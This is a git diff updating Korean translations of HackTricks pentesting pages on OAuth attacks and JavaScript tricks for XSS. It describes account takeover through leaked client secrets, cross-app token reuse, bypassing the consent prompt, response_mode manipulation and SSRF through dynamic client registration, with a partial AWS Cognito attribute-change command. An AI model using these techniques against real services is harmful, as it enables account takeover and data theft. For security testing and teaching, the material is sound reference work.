๊ณต๊ฒฉ์ž๋Š” ์ด๋ฉ”์ผ์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š” OAuth ์„œ๋น„์Šค๋ฅผ ์•…์šฉํ•˜์—ฌ ์ž์‹ ์˜ ์„œ๋น„์Šค์— ๋“ฑ๋กํ•œ ํ›„ ๊ณ„์ • ์ด๋ฉ”์ผ์„ ํ”ผํ•ด์ž์˜ ์ด๋ฉ”์ผ๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ฒซ ๋ฒˆ์งธ ์‹œ๋‚˜๋ฆฌ์˜ค์™€ ์œ ์‚ฌํ•˜๊ฒŒ ๋ฌด๋‹จ ๊ณ„์ • ์ ‘๊ทผ์˜ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•˜์ง€๋งŒ, ๋‹ค๋ฅธ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ### ๋น„๋ฐ€ ์ •๋ณด์˜ ๋…ธ์ถœ ๋น„๋ฐ€ OAuth ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ๋ณดํ˜ธํ•˜๋Š” ๊ฒƒ์€ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. **`client_id`**๋Š” ์•ˆ์ „ํ•˜๊ฒŒ ๊ณต๊ฐœํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, **`client_secret`**์„ ๋…ธ์ถœํ•˜๋Š” ๊ฒƒ์€ ์ƒ๋‹นํ•œ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค. `client_secret`์ด ์œ ์ถœ๋˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹ ์›๊ณผ ์‹ ๋ขฐ๋ฅผ ์•…์šฉํ•˜์—ฌ **์‚ฌ์šฉ์ž `access_tokens`** ๋ฐ ๊ฐœ์ธ ์ •๋ณด๋ฅผ **ํƒˆ์ทจ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์ ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ `access_token`์„ ์œ„ํ•œ ์ธ์ฆ `code`์˜ ๊ตํ™˜์„ ์ž˜๋ชป ์ฒ˜๋ฆฌํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ์‹ค์ˆ˜๋Š” `client_secret`์˜ ๋…ธ์ถœ๋กœ ์ด์–ด์ ธ, ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฐ€์žฅ์œผ๋กœ `access_tokens`๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, ์‚ฌํšŒ ๊ณตํ•™์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” OAuth ์ธ์ฆ์— ์ถ”๊ฐ€ ๋ฒ”์œ„๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹ ๋ขฐ๋œ ์ƒํƒœ๋ฅผ ๋”์šฑ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์ ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ `access_token`์„ ์œ„ํ•œ ์ธ์ฆ `code`์˜ ๊ตํ™˜์„ ์ž˜๋ชป ์ฒ˜๋ฆฌํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ์‹ค์ˆ˜๋Š” `client_secret`์˜ ๋…ธ์ถœ๋กœ ์ด์–ด์ ธ, ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฐ€์žฅ์œผ๋กœ `access_tokens`๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, ์‚ฌํšŒ ๊ณตํ•™์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” OAuth ์ธ์ฆ์— ์ถ”๊ฐ€ ๋ฒ”์œ„๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์‹ ๋ขฐ๋œ ์ƒํƒœ๋ฅผ ๋”์šฑ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### ํด๋ผ์ด์–ธํŠธ ๋น„๋ฐ€ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… @@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ``` ### Referer Header leaking Code + State -ํด๋ผ์ด์–ธํŠธ๊ฐ€ **์ฝ”๋“œ์™€ ์ƒํƒœ**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๊ณ , ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•  ๋•Œ **Referer ํ—ค๋”์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด**, ์ด๋Š” ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. +ํด๋ผ์ด์–ธํŠธ๊ฐ€ **์ฝ”๋“œ์™€ ์ƒํƒœ**๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์„ ๋•Œ, ๋งŒ์•ฝ ๊ทธ๊ฒƒ์ด **Referer ํ—ค๋”์— ๋ฐ˜์˜๋˜์–ด** ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๋ฉด, ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ### Access Token Stored in Browser History @@ -146,23 +146,23 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ ๋” ์ž์„ธํ•œ AWS Cognito ์•…์šฉ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum +https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html {{#endref}} ### ๋‹ค๋ฅธ ์•ฑ ํ† ํฐ ์•…์šฉ [**์ด ๊ธ€์—์„œ ์–ธ๊ธ‰๋œ ๋ฐ”์™€ ๊ฐ™์ด**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **ํ† ํฐ**(์ฝ”๋“œ๊ฐ€ ์•„๋‹Œ)์„ ์ˆ˜์‹ ํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋˜๋Š” OAuth ํ๋ฆ„์€ ํ† ํฐ์ด ์•ฑ์— ์†ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์ง€ ์•Š์œผ๋ฉด ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ด๋Š” **๊ณต๊ฒฉ์ž**๊ฐ€ ์ž์‹ ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ **OAuth๋ฅผ ์ง€์›ํ•˜๊ณ  Facebook์œผ๋กœ ๋กœ๊ทธ์ธ**ํ•˜๋Š” **์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ํ”ผํ•ด์ž๊ฐ€ **๊ณต๊ฒฉ์ž์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์—์„œ Facebook์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” **์ž์‹ ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ œ๊ณต๋œ ์‚ฌ์šฉ์ž์˜ OAuth ํ† ํฐ์„ ์–ป๊ณ  ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”ผํ•ด์ž์˜ OAuth ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํ”ผํ•ด์ž์˜ ์‚ฌ์šฉ์ž ํ† ํฐ์œผ๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +์ด๋Š” **๊ณต๊ฒฉ์ž**๊ฐ€ ์ž์‹ ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ **Facebook์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋Š” OAuth๋ฅผ ์ง€์›ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ํ”ผํ•ด์ž๊ฐ€ **๊ณต๊ฒฉ์ž์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜**์—์„œ Facebook์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” **์ž์‹ ์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ œ๊ณต๋œ ์‚ฌ์šฉ์ž์˜ OAuth ํ† ํฐ์„ ์–ป๊ณ , ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”ผํ•ด์ž์˜ OAuth ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ํ”ผํ•ด์ž์˜ ์‚ฌ์šฉ์ž ํ† ํฐ์œผ๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. > [!CAUTION] > ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์ž์‹ ์˜ OAuth ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ ‘๊ทผํ•˜๋„๋ก ๊ด€๋ฆฌํ•˜๋ฉด, ํ† ํฐ์„ ๊ธฐ๋Œ€ํ•˜๊ณ  ํ•ด๋‹น ํ† ํฐ์ด ์ž์‹ ์˜ ์•ฑ ID์— ๋ถ€์—ฌ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜์ง€ ์•Š๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ํ”ผํ•ด์ž์˜ ๊ณ„์ •์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -### ๋‘ ๊ฐœ์˜ ๋งํฌ ๋ฐ ์ฟ ํ‚ค +### ๋‘ ๋งํฌ ๋ฐ ์ฟ ํ‚ค -[**์ด ๊ธ€์— ๋”ฐ๋ฅด๋ฉด**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ํ”ผํ•ด์ž๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” **returnUrl**์ด ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ์—ด๋„๋ก ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋Š” **์ฟ ํ‚ค(RU)**์— **์ €์žฅ๋˜๋ฉฐ**, **๋‚˜์ค‘์—** **ํ”„๋กฌํ”„ํŠธ**๊ฐ€ **์‚ฌ์šฉ์ž์—๊ฒŒ** ํ•ด๋‹น ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ๊ฒƒ์ธ์ง€ **๋ฌป์Šต๋‹ˆ๋‹ค**. +[**์ด ๊ธ€์— ๋”ฐ๋ฅด๋ฉด**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ํ”ผํ•ด์ž๊ฐ€ **returnUrl**์ด ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํŽ˜์ด์ง€๋ฅผ ์—ด๋„๋ก ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋Š” **์ฟ ํ‚ค(RU)**์— **์ €์žฅ๋˜๋ฉฐ**, **๋‚˜์ค‘์—** **ํ”„๋กฌํ”„ํŠธ**๊ฐ€ **์‚ฌ์šฉ์ž์—๊ฒŒ** ํ•ด๋‹น ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ๊ฒƒ์ธ์ง€ **๋ฌป์Šต๋‹ˆ๋‹ค**. -์ด ํ”„๋กฌํ”„ํŠธ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด, **returnUrl**์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด RU ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜๋Š” **Oauth ํ๋ฆ„**์„ ์‹œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ํƒญ์„ ์—ด๊ณ , ํ”„๋กฌํ”„ํŠธ๊ฐ€ ํ‘œ์‹œ๋˜๊ธฐ ์ „์— ํƒญ์„ ๋‹ซ๊ณ , ํ•ด๋‹น ๊ฐ’ ์—†์ด ์ƒˆ ํƒญ์„ ์—ด ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด **ํ”„๋กฌํ”„ํŠธ๋Š” ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด ์•Œ๋ฆฌ์ง€ ์•Š์ง€๋งŒ**, ์ฟ ํ‚ค๋Š” ์„ค์ •๋˜๋ฏ€๋กœ **ํ† ํฐ์€ ๋ฆฌ๋””๋ ‰์…˜์—์„œ ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค**. +์ด ํ”„๋กฌํ”„ํŠธ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด, **returnUrl**์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด RU ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜๋Š” **Oauth ํ๋ฆ„**์„ ์‹œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ํƒญ์„ ์—ด๊ณ , ํ”„๋กฌํ”„ํŠธ๊ฐ€ ํ‘œ์‹œ๋˜๊ธฐ ์ „์— ํƒญ์„ ๋‹ซ๊ณ , ํ•ด๋‹น ๊ฐ’์„ ํฌํ•จํ•˜์ง€ ์•Š์€ ์ƒˆ ํƒญ์„ ์—ด ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด **ํ”„๋กฌํ”„ํŠธ๋Š” ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด ์•Œ๋ฆฌ์ง€ ์•Š์ง€๋งŒ**, ์ฟ ํ‚ค๋Š” ์„ค์ •๋˜๋ฏ€๋กœ **ํ† ํฐ์€ ๋ฆฌ๋””๋ ‰์…˜์—์„œ ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค**. ### ํ”„๋กฌํ”„ํŠธ ์ƒํ˜ธ์ž‘์šฉ ์šฐํšŒ @@ -173,7 +173,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated [**์ด ๋น„๋””์˜ค์—์„œ ์„ค๋ช…๋œ ๋ฐ”์™€ ๊ฐ™์ด**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ์ตœ์ข… URL์—์„œ ์ฝ”๋“œ๋ฅผ ์ œ๊ณตํ•  ์œ„์น˜๋ฅผ ์ง€์ •ํ•˜๊ธฐ ์œ„ํ•ด **`response_mode`** ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ง€์ •ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - `response_mode=query` -> ์ฝ”๋“œ๋Š” GET ๋งค๊ฐœ๋ณ€์ˆ˜ ๋‚ด์— ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค: `?code=2397rf3gu93f` -- `response_mode=fragment` -> ์ฝ”๋“œ๋Š” URL ์กฐ๊ฐ ๋งค๊ฐœ๋ณ€์ˆ˜ ๋‚ด์— ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค: `#code=2397rf3gu93f` +- `response_mode=fragment` -> ์ฝ”๋“œ๋Š” URL ์กฐ๊ฐ ๋งค๊ฐœ๋ณ€์ˆ˜ ๋‚ด์— ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค `#code=2397rf3gu93f` - `response_mode=form_post` -> ์ฝ”๋“œ๋Š” `code`๋ผ๋Š” ์ž…๋ ฅ์„ ๊ฐ€์ง„ POST ์–‘์‹ ๋‚ด์— ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. - `response_mode=web_message` -> ์ฝ”๋“œ๋Š” ํฌ์ŠคํŠธ ๋ฉ”์‹œ์ง€๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค: `window.opener.postMessage({"code": "asdasdasd...` @@ -194,17 +194,17 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated [**์ด ์—ฐ๊ตฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”**](https://portswigger.net/research/hidden-oauth-attack-vectors) **์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์œ„ํ•ด.** -OAuth์˜ ๋™์  ํด๋ผ์ด์–ธํŠธ ๋“ฑ๋ก์€ **์„œ๋ฒ„ ์ธก ์š”์ฒญ ์œ„์กฐ(SSRF)** ๊ณต๊ฒฉ์„ ์œ„ํ•œ ๋œ ๋ช…๋ฐฑํ•˜์ง€๋งŒ ์ค‘์š”ํ•œ ๋ณด์•ˆ ์ทจ์•ฝ์  ๋ฒกํ„ฐ๋กœ ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์—”๋“œํฌ์ธํŠธ๋Š” OAuth ์„œ๋ฒ„๊ฐ€ ํด๋ผ์ด์–ธํŠธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋ฉฐ, ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋ฏผ๊ฐํ•œ URL์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. +OAuth์˜ ๋™์  ํด๋ผ์ด์–ธํŠธ ๋“ฑ๋ก์€ ๋ณด์•ˆ ์ทจ์•ฝ์ , ํŠนํžˆ **์„œ๋ฒ„ ์ธก ์š”์ฒญ ์œ„์กฐ(SSRF)** ๊ณต๊ฒฉ์„ ์œ„ํ•œ ๋œ ๋ช…๋ฐฑํ•˜์ง€๋งŒ ์ค‘์š”ํ•œ ๋ฒกํ„ฐ๋กœ ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์—”๋“œํฌ์ธํŠธ๋Š” OAuth ์„œ๋ฒ„๊ฐ€ ํด๋ผ์ด์–ธํŠธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ˆ˜์‹ ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋ฏผ๊ฐํ•œ URL์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. **์ฃผ์š” ์‚ฌํ•ญ:** - **๋™์  ํด๋ผ์ด์–ธํŠธ ๋“ฑ๋ก**์€ ์ข…์ข… `/register`์— ๋งคํ•‘๋˜๋ฉฐ `client_name`, `client_secret`, `redirect_uris`, ๋กœ๊ณ  ๋˜๋Š” JSON ์›น ํ‚ค ์„ธํŠธ(JWK)์— ๋Œ€ํ•œ URL๊ณผ ๊ฐ™์€ ์„ธ๋ถ€์ •๋ณด๋ฅผ POST ์š”์ฒญ์„ ํ†ตํ•ด ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค. - ์ด ๊ธฐ๋Šฅ์€ **RFC7591** ๋ฐ **OpenID Connect Registration 1.0**์— ๋ช…์‹œ๋œ ์‚ฌ์–‘์„ ์ค€์ˆ˜ํ•˜๋ฉฐ, SSRF์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. -- ๋“ฑ๋ก ํ”„๋กœ์„ธ์Šค๋Š” ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ SSRF์— ์„œ๋ฒ„๋ฅผ ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +- ๋“ฑ๋ก ํ”„๋กœ์„ธ์Šค๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ์‹์œผ๋กœ SSRF์— ์„œ๋ฒ„๋ฅผ ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - **`logo_uri`**: ์„œ๋ฒ„๊ฐ€ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” ํด๋ผ์ด์–ธํŠธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋กœ๊ณ  URL๋กœ, SSRF๋ฅผ ์œ ๋ฐœํ•˜๊ฑฐ๋‚˜ URL์ด ์ž˜๋ชป ์ฒ˜๋ฆฌ๋  ๊ฒฝ์šฐ XSS๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - **`jwks_uri`**: ํด๋ผ์ด์–ธํŠธ์˜ JWK ๋ฌธ์„œ์— ๋Œ€ํ•œ URL๋กœ, ์•…์˜์ ์œผ๋กœ ์ž‘์„ฑ๋œ ๊ฒฝ์šฐ ์„œ๋ฒ„๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„๋กœ ์•„์›ƒ๋ฐ”์šด๋“œ ์š”์ฒญ์„ ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **`sector_identifier_uri`**: ์„œ๋ฒ„๊ฐ€ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” `redirect_uris`์˜ JSON ๋ฐฐ์—ด์„ ์ฐธ์กฐํ•˜์—ฌ SSRF ๊ธฐํšŒ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. -- **`request_uris`**: ํด๋ผ์ด์–ธํŠธ์— ๋Œ€ํ•œ ํ—ˆ์šฉ๋œ ์š”์ฒญ URI๋ฅผ ๋‚˜์—ดํ•˜๋ฉฐ, ์„œ๋ฒ„๊ฐ€ ์ธ์ฆ ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘ ์‹œ ์ด๋Ÿฌํ•œ URI๋ฅผ ๊ฐ€์ ธ์˜ค๋ฉด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **`sector_identifier_uri`**: ์„œ๋ฒ„๊ฐ€ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” `redirect_uris`์˜ JSON ๋ฐฐ์—ด์„ ์ฐธ์กฐํ•˜์—ฌ SSRF ๊ธฐํšŒ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **`request_uris`**: ํด๋ผ์ด์–ธํŠธ์— ๋Œ€ํ•ด ํ—ˆ์šฉ๋œ ์š”์ฒญ URI๋ฅผ ๋‚˜์—ดํ•˜๋ฉฐ, ์„œ๋ฒ„๊ฐ€ ์ธ์ฆ ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘ ์‹œ ์ด๋Ÿฌํ•œ URI๋ฅผ ๊ฐ€์ ธ์˜ค๋ฉด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **์•…์šฉ ์ „๋žต:** @@ -213,9 +213,9 @@ OAuth์˜ ๋™์  ํด๋ผ์ด์–ธํŠธ ๋“ฑ๋ก์€ **์„œ๋ฒ„ ์ธก ์š”์ฒญ ์œ„์กฐ(SSRF)** ๊ณต ## OAuth ์ œ๊ณต์ž์˜ ๊ฒฝ์Ÿ ์กฐ๊ฑด -ํ…Œ์ŠคํŠธ ์ค‘์ธ ํ”Œ๋žซํผ์ด OAuth ์ œ๊ณต์ž์ธ ๊ฒฝ์šฐ [**๊ฒฝ์Ÿ ์กฐ๊ฑด์„ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•ด ์ด ๋‚ด์šฉ์„ ์ฝ์œผ์„ธ์š”**](race-condition.md). +ํ…Œ์ŠคํŠธ ์ค‘์ธ ํ”Œ๋žซํผ์ด OAuth ์ œ๊ณต์ž์ธ ๊ฒฝ์šฐ [**๊ฒฝ์Ÿ ์กฐ๊ฑด์„ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•ด ์ด ๋‚ด์šฉ์„ ์ฝ์–ด๋ณด์„ธ์š”**](race-condition.md). -## ์ฐธ๊ณ ์ž๋ฃŒ +## ์ฐธ๊ณ  ๋ฌธํ—Œ - [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1) - [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors) diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index d79e5bc2e..ab5fa021e 100644 --- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -1,8 +1,8 @@ -# ๊ธฐํƒ€ JS ํŠธ๋ฆญ ๋ฐ ๊ด€๋ จ ์ •๋ณด +# Misc JS Tricks & Relevant Info {{#include ../../banners/hacktricks-training.md}} -## ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํผ์ง• +## Javascript Fuzzing ### ์œ ํšจํ•œ JS ์ฃผ์„ ๋ฌธ์ž ```javascript @@ -152,7 +152,7 @@ document.body.append(anchor) a = document.createElement("a") log = [] for (let i = 0; i <= 0x10ffff; i++) { -a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz` +a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki` if (a.hostname === "hacktricks.xyz") { log.push(i) } @@ -241,7 +241,7 @@ test_apply.apply(null, ["arg1", "arg2"]) ``` ### ํ™”์‚ดํ‘œ ํ•จ์ˆ˜ -ํ™”์‚ดํ‘œ ํ•จ์ˆ˜๋Š” ํ•จ์ˆ˜๋ฅผ ํ•œ ์ค„๋กœ ๋” ์‰ฝ๊ฒŒ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค(์ดํ•ดํ•œ๋‹ค๋ฉด). +ํ™”์‚ดํ‘œ ํ•จ์ˆ˜๋Š” ํ•จ์ˆ˜๋ฅผ ํ•œ ์ค„๋กœ ๋” ์‰ฝ๊ฒŒ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค(์ดํ•ดํ•˜๊ณ  ์žˆ๋‹ค๋ฉด). ```javascript // Traditional function (a){ return a + 1; } @@ -264,7 +264,7 @@ let a = 4; let b = 